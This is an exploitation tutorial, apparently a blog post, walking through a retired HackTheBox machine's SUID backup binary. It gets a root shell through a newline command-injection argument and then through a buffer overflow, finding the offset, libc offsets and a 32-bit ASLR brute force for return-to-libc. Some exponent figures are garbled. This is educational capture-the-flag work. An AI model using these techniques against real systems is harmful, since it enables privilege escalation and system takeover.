Can we bruteforce ASLR ?


Hey guys. Welcome back. Last time we learned how to bypass non-executable stack by returning the program counter to libc. For that we needed address of libc and functions in it. So developers applied a new security technique of Address Space Layout Randomization. It randomizes address of locations in memory where your executables are loaded. So let's say you got address of some function once. But next time when you execute the executable and try to access that address, the function won't be there. It's now at some completely different address. Now it's harder for us as an attacker to control the execution flow without knowing the exact address to jump to. In this article we will analyze a binary from a CTF and understand how it works then try to figure out a way to exploit it. If you are new read and understand the previous articles first.

On 32 bit systems

Let us first see how much the address is changing in 32 bit linux systems. Today we will be using a binary from a CTF in hackthebox node machine as an example.

It's retired now but was really fun to do. I won't cover the web part and gaining the user. Here we have already got user tom. We want to get root so we search for any interesting suid executable as owner root.
tom@node:~$ find / -user root -perm -4000 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/local/bin/backup
/usr/bin/chfn
/usr/bin/at
/usr/bin/gpasswd
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/newuidmap
/bin/ping
/bin/umount
/bin/fusermount
/bin/ping6
/bin/ntfs-3g
/bin/su
/bin/mount

tom@node:~$ ls -l /usr/local/bin/backup
ls -al /usr/local/bin/backup
-rwsr-xr-- 1 root admin 16484 Sep  3 11:30 /usr/local/bin/backup
This backup file looks interesting. Time to analyze the binary and see it's working. Here's the link to binary if you can't access machine in hackthebox. You can download it on your machine. If you execute it, it does nothing. Try with few arguments. And you get this output with 3 arguments.
$ ./backup
$ ./backup aa aa bb


             ____________________________________________________
            /                                                    \
           |    _____________________________________________     |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |             Secure Backup v1.0              |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |_____________________________________________|    |
           |                                                      |
            \_____________________________________________________/
                   \_______________________________________/
                _______________________________________________
             _-'    .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.  --- `-_
          _-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--.  .-.-.`-_
       _-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_
    _-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_
 _-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_
:-----------------------------------------------------------------------------:
`---._.-----------------------------------------------------------------._.---'



[!] Ah-ah-ah! You didn't say the magic word!
Hmm. Let's explore more. Load it in any disassembler of your choice. I am using IDA. You can use more like hopper, binary ninja, radare, etc. Radare is free and powerful command line based reverse engineering framework, others mostly are paid.


First you can see(highlighted) it checks for 3 arguments. If not then it exits. Else it goes to next block where it checks if first argument is -q. It looks like argument for quiet. It does not print anything if we provide -q argument. Doing strace of binary gives following result.
$ strace ./backup aa aa bb
.
.
[skipped]
.
.
) = 80
write(1, "`---._.-------------------------"..., 81`---._.-----------------------------------------------------------------._.---'

) = 81
write(1, "\n", 1
)                       = 1
openat(AT_FDCWD, "/etc/myplace/keys", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=195, ...}) = 0
read(3, "a01a6aa5aaf1d7729f35c8278daae30f"..., 4096) = 195
read(3, "", 4096)                       = 0
write(1, " \33[33m[!]\33[37m Ah-ah-ah! You did"..., 57 [!] Ah-ah-ah! You didn't say the magic word!
) = 57
exit_group(1)
+++ exited with 1 +++
Seems it's first checks the file /etc/myplace/keys for some key may be. That must be the magic word.
$ cat /etc/myplace/keys 
a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110
If you are doing it on your own machine copy the 'keys ' file in zip you downloaded to this location. Now give any one key as second argument.
$ ./backup aa 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 bb



             ____________________________________________________
            /                                                    \
           |    _____________________________________________     |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |             Secure Backup v1.0              |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |_____________________________________________|    |
           |                                                      |
            \_____________________________________________________/
                   \_______________________________________/
                _______________________________________________
             _-'    .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.  --- `-_
          _-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--.  .-.-.`-_
       _-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_
    _-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_
 _-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_
:-----------------------------------------------------------------------------:
`---._.-----------------------------------------------------------------._.---'


 [+] Validated access token
 [+] Starting archiving bb
 [!] The target path doesn't exist
Okay. So now it validated our key. And it's now trying to archive the path given in 3rd argument. Great we have pretty much figured out working of the executable. Exploring further in the control-flow chart you will see a few input checks. Some characters are blacklisted and function exits with a fake message if those characters are there. Let's explore further to find out a little below in flow-chart.


Here we can see  'system ' is called to execute the command which makes zip of the directory with password 'magicword'. But did you notice those '%s ' format specifiers ? It means the path we give in argument is directly placed in the string and passed to system. That can be a command injection vulnerability. But as I told earlier some characters are blacklisted and also you can see all output is redirected to '/dev/null '. Go through disassembly to find them. Anyways there are still few characters which can be used to inject command for example
$ ./backup aa 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 $'\n/bin/sh\nls'
             ____________________________________________________
            /                                                    \
           |    _____________________________________________     |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |             Secure Backup v1.0              |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |_____________________________________________|    |
           |                                                      |
            \_____________________________________________________/
                   \_______________________________________/
                _______________________________________________
             _-'    .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.  --- `-_
          _-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--.  .-.-.`-_
       _-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_
    _-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_
 _-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_
:-----------------------------------------------------------------------------:
`---._.-----------------------------------------------------------------._.---'

[+] Validated access token
[+] Starting archiving
/bin/sh
ls

zip error: Nothing to do! (/tmp/.backup_1946983468)
# whoami
root
#
Yeah. We got root easily. What happened here is, our input was executed as next command by system. I entered ls at end because last command's output goes into '/dev/null ' so just any command can be placed here so that we can get output of '/bin/sh '. Anyways back to topic. We wanna do buffer overflow. Did you notice that our input path(3rd argument) is printed back on screen here.
[+] Starting archiving bb
May be some strcpy like function is involved and may not have bound checks.


You can find it in 'displayTarget ' function. Buffer seem to be of around 0x208 bytes. Time to find the offset. Load the binary in gdb now. First checksec to find security mechanisms.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ r aa 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2A
Starting program: /home/archer/test/backup aa 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2A



             ____________________________________________________
            /                                                    \
           |    _____________________________________________     |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |             Secure Backup v1.0              |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |_____________________________________________|    |
           |                                                      |
            \_____________________________________________________/
                   \_______________________________________/
                _______________________________________________
             _-'    .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.  --- `-_
          _-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--.  .-.-.`-_
       _-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_
    _-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_
 _-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_
:-----------------------------------------------------------------------------:
`---._.-----------------------------------------------------------------._.---'


 [+] Validated access token
 [+] Starting archiving Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2A

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x22b 
EBX: 0xffffced0 --> 0x4 
ECX: 0x0 
EDX: 0xf7f95854 --> 0x0 
ESI: 0xf7f93e28 --> 0x1ced30 
EDI: 0xffffce1f --> 0x796500 ('')
EBP: 0x72413971 ('q9Ar')
ESP: 0xffffbdf0 ("Ar2A")
EIP: 0x31724130 ('0Ar1')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x31724130
[------------------------------------stack-------------------------------------]
0000| 0xffffbdf0 ("Ar2A")
0004| 0xffffbdf4 --> 0x8049e00 ("V6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==")
0008| 0xffffbdf8 --> 0x804d570 --> 0xfbad2498 
0012| 0xffffbdfc --> 0x8048a1b (<main+30>: sub    esp,0xc)
0016| 0xffffbe00 --> 0x0 
0020| 0xffffbe04 --> 0x0 
0024| 0xffffbe08 --> 0x0 
0028| 0xffffbe0c --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x31724130 in ?? ()
$ /opt/metasploit/tools/exploit/pattern_offset.rb -q 31724130
[*] Exact match at offset 512
Got it. We have a buffer overflow at offset 512 bytes. NX bit is on so we will use return to libc. But below you can see when finding address of libc that ASLR is on.
$ while true; do ldd ./backup; done | grep libc 
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cf4000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d25000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cf4000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d5d000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cc6000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d28000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7ce3000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d29000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d28000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cf0000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7dc3000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cd3000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d98000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cd0000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cfc000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d4a000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d1e000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cc6000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d0f000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d72000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7ce8000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cff000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d7a000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d7b000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d93000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d56000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d5c000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7da9000)
Did you notice that, though the address is changing, it's not really changing by that much. Only 3rd,4th and 5th letters are changing. Also the 3rd one is just changing between 'c' and 'd'. So there can be 2*16*16 = 512 combination of addresses. Hmm. We can brute-force that. That's not really large. We will choose just one random address and hope for it to repeat. Time to make a script for that. We first need system address, exit address and /bin/sh string address. This time we will use small trick because ASLR is on and that will be too much addresses to guess. All the functions and strings in the libc will be always at same offset from libc's base address. The offset won't change. Now we just need to brute-force base address of libc and we will get address of other functions. Let's find offsets first.
$ readelf -a /usr/lib32/libc.so.6 | grep system
   251: 001265e0   102 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0
   640: 0003c7d0    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1485: 0003c7d0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
   565: 00000000     0 FILE    LOCAL  DEFAULT  ABS system.c
   566: 0003c2b0  1086 FUNC    LOCAL  DEFAULT   13 do_system
  4988: 001265e0   102 FUNC    LOCAL  DEFAULT   13 __GI_svcerr_systemerr
  6919: 0003c7d0    55 FUNC    WEAK   DEFAULT   13 system
  7539: 001265e0   102 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr
  7602: 0003c7d0    55 FUNC    GLOBAL DEFAULT   13 __libc_system
$ readelf -a /usr/lib32/libc.so.6 | grep exit  
  [26] __libc_atexit     PROGBITS        001cd268 1cc268 000004 00  WA  0   0  4
   03     .tdata .init_array __libc_subfreeres __libc_atexit __libc_thread_subfreeres __libc_IO_vtables .data.rel.ro .dynamic .got .data .bss 
   09     .tdata .init_array __libc_subfreeres __libc_atexit __libc_thread_subfreeres __libc_IO_vtables .data.rel.ro .dynamic .got 
001ceeb0  00058d06 R_386_GLOB_DAT    001cf1e4   argp_err_exit_status@@GLIBC_2.1
001cef9c  00086606 R_386_GLOB_DAT    001cf120   obstack_exit_failure@@GLIBC_2.0
   116: 0002ff20    39 FUNC    GLOBAL DEFAULT   13 __cxa_at_quick_exit@@GLIBC_2.10
   144: 0002fb10    33 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
   459: 0002ff50   181 FUNC    GLOBAL DEFAULT   13 __cxa_thread_atexit_impl@@GLIBC_2.18
   570: 000be685    24 FUNC    GLOBAL DEFAULT   13 _exit@@GLIBC_2.0
   629: 00129b30    56 FUNC    GLOBAL DEFAULT   13 svc_exit@@GLIBC_2.0
   [skipped]
$ strings -t x /usr/lib32/libc.so.6 | grep /bin/sh
 17888a /bin/sh
Got em. Here's my exploit script.
$ python2 node.py
.
[skipped]
.
60



             ____________________________________________________
            /                                                    \
           |    _____________________________________________     |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |             Secure Backup v1.0              |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |                                             |    |
           |   |_____________________________________________|    |
           |                                                      |
            \_____________________________________________________/
                   \_______________________________________/
                _______________________________________________
             _-'    .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.  --- `-_
          _-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--.  .-.-.`-_
       _-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_
    _-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_
 _-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_
:-----------------------------------------------------------------------------:
`---._.-----------------------------------------------------------------._.---'


 [+] Validated access token
 [+] Starting archiving AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA� �� K������
# whoami
root
# exit
**************
Voila! We finally hit the target in 60 tries. This can be less if lucky or go upto 512 or even more(really unlucky :p). Anyways we successfully brute-forced the ASLR and it didn't take much time either. You can also run multiple instances to decrease time.

Modern 32 bit binary

Well this was an old binary so we easily managed to change the control-flow. But now if you try this remember from last article that newer compilers load esp from ecx at the end of function. So we needed to find correct address of esp and overwrite ecx correctly for it. But if ASLR is on, you will have to find new address every time. That can have 165 combinations multiplied by trying to find address of libc which is independent of stack address. Honestly that's not really possible to hit correctly unless chaining few different types of vulnerabilities and memory leaks. More on that later.

Modern 64 bit

There were only about 512 combinations in 32 bit. What of 64 bit where we have 8 bytes ! for address. It seems there will be lot of entropy available. Let's check it out.
$ while true; do ldd a.out; done | grep libc
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f468dad5000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f3eaa737000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007fe83de5b000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f53873d6000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007fbcaf271000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007fa1f384d000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f2e9a9b0000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f86c9187000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f84f36e5000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f6df67fb000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f60cdb7c000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f512abd8000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007fa0ee5f8000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007fad3c2fb000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f6b025f8000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f7a3ad69000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f1a14e88000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007ffa5ee6e000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007ff65a6ba000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007fdeff4fb000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007fbef70e3000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007ff374a8f000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007fa838a5e000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f6214f8f000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f5b3b44f000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f284a48b000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f78963d6000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f9e1c896000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f1e82fff000)
A lot of characters are changing. That's 167 combinations which is approximately two hundred sixty-eight million (268,435,456) combinations.


Certainly that's not feasible to do so. Although in some cases we can feasibly bruteforce byte by byte like we will discuss in this article.

Well that's all for this time.  Today we learned how we could bruteforce ASLR in some conditions also learnt more on how to analyze a binary. Next time we will find more better ways to bypass ASLR and exploit few more types of vulnerabilities. So stay tuned.

Next Read: Format String Exploits: Defeating Stack Canary, NX and ASLR Remotely on 64 bit

Comments